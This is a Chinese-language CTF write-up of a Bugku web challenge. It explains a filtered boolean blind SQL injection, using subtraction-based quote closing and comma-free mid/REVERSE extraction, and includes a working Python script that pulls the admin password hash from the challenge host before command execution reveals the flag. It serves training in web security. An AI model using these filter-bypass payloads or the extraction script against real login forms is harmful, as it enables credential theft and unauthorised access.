前言

最近做培训和题目讲解的时候,做到bugku的一道题目,bugku的题目想必ctfer都已经耳熟能详了,网上的writeup铺天盖地。
但我今天单独写了一篇文章来写一道题肯定是有原因的,其中一道题是这样的:
1.网上铺天盖地的writeup写到:直接访问http://120.24.86.145:8007/web2/flag即可得到flag
2.此题真坑,竟然是脑洞,访问flag文件就好了
.....
我看到题目价值200分,放在bugku众多web的后段,怎么看都不是一个脑洞访问一下就完事的题目
于是开始了正规解法的思考

信息搜集


题目说了是sql注入,并且提及了一些关键符号,估计是过滤了吧(看到398的solves不知道其中有多少是直接访问wen目录下flag文件得到的solve= =)
先简单的做一个文件探测

于是来一波文件泄露下载

http://120.24.86.145:8007/web2/.DS_Store

而我们知道

.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。

即便如此,有时候该文件中也会藏匿一些信息,但这里打开后发现

并没有藏匿什么信息
那再看看admin目录

于是信息搜集无果= =
目前只知道

!,!=,=,+,-,^,%

应该都过滤了

sql探测

随手探测


发现有password和username两个不同的error
猜想这大概说明可以bool盲注了吧(不用sleep还是挺开心的)
那么思路很清晰了
在username处构造一个引号闭合方式,尝试让其回显password error
继续随手测了一下

发现如果被过滤,会提示,还挺好,这样探测就容易许多了
那么fuzz一下好了

发现这些字符被过滤了,又跑了波sql-func的字典

我最爱的regexp和like也都没了,心痛
最开始被带沟里了,以为题目的提示是过滤的意思,然后卡在这里很痛苦
但是后来一想,不对啊

!,!=,=,+,-,^,%

都还在!提示是这个意思!
于是想到用^去闭合,但是这里尝试无果
一般在数字型的时候,^会有比较好的效果
例如

?id=1^1
?id=1^0


那么没有空格,or,and等等关键词,怎么办呢?
这里发现运算符-瞩目
我们尝试构造

这里在运算的时候,字符串变成0
所以

'admin'-1-'' =  -1
'admin'-0-'' =  0

那我们放入题目中测试


我们发现-0的时候,为true,-1的时候为false
那么这是为什么呢?
我们猜想后台sql语句构造为

$sql = select * from users where username=$username;

在字符串username的值和数字0比较的时候,字符串变为了0
故此0=0

这样一来,我们成功的闭合了引号

sql注入语句构造

我们尝试构造出类似于下面这个语句

ascii(substr((select database()),1,1))>-1

这样把这个语句放在0和1的位置,即可取出数据
但是这里问题重重:
1.没有逗号
2.没有空格
那么解决第一个问题,substr很难用,我们怎么截取?
这里给出一个实例
假设:
passwd=abc123
那么我们用以下方式

mid((passwd)from(-1)):3
mid((passwd)from(-2)):23
mid((passwd)from(-3)):123

倒叙输出from的位数
观察可知

3
23
123

倒着看的第一位都是3,显然不行,无法截取出来,于是想到反转

3
32
321

然后取最后一位即可
故构造为:
先反转

REVERSE(MID((passwd)from(-%d))

再取最后一位

mid(REVERSE(MID((passwd)from(-%d)))from(-1))

再比较ascii码值

ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d

然后列出范围

s in range(1,33)
d in range(33,127)

我们测试一下


发现中间条件成立时的回显是

username error

不成立的时候回显是

password error

剩下的就是脚本构造了
注:这里说一下passwd字段怎么来的
这里其实我是用了点猜想,看到post表单里

id用的是passwd,所以用的passwd,为什么不去探测数据库和表。。因为or等很多关键词都没有,探测非常困难,不如猜一下= =
不过不能误人子弟,数据库的字段名和post表单里的id,name等不是一回事,不等价,我这里是猜想的!

注入脚本编写

简单写出脚本如下

import requests
url = "http://120.24.86.145:8007/web2/login.php"
cookie = {
    'PHPSESSID':'i6f9opt690kralopas7lcj68ne9na6ev'
}

password = ""
for i in range(1,33):
    for j in '0123456789abcdef':
        payload = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-'"
        data = {
            'uname': payload,
            'passwd': 'sky'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        if "username error!!@_@" in r.content:
            password += j
            print password
            break

运行得到

注:这里是因为跑了前几位,猜想是md5,所以为了效率,缩小了遍历范围= =
得到密码的md5后,进行解密

cmd5个坑货竟然还要收费,乖乖交钱后,发现密码是admin123

登入admin

随机用

admin
admin123

登录

来到一个命令执行的页面
他暗示我要ls。。我就ls了一下
然后

感觉这里题目没有出好
私以为后面应该接上用?通配,或者RCE OOB带出数据等操作出题
相关链接

http://skysec.top/2017/12/29/Time-Based-RCE/
https://www.anquanke.com/post/id/154284

不过flag还是顺利的拿到了

flag{sql_iNJEct_comMon3600!}

后记

题目的sql注入部分还是挺有趣的,做完后后知后觉,想起以前似乎做过

http://skysec.top/2017/06/18/%E9%99%95%E8%A5%BF%E6%9D%AFweb%E8%AF%A6%E8%A7%A3/

但是单从这道题来看,个人认为ctf训练平台,还是要刨根问底的,flag并不是关键目的。
还是那句话,主流的writeup并不是万能的:)
注:另附上一次的思考-SSRF

https://www.anquanke.com/post/id/154144

这里也是出题人的疏忽,将flag放在当前目录(为了方便命令执行?)
菜鸡献丑了XD.....

源链接

Hacking more

...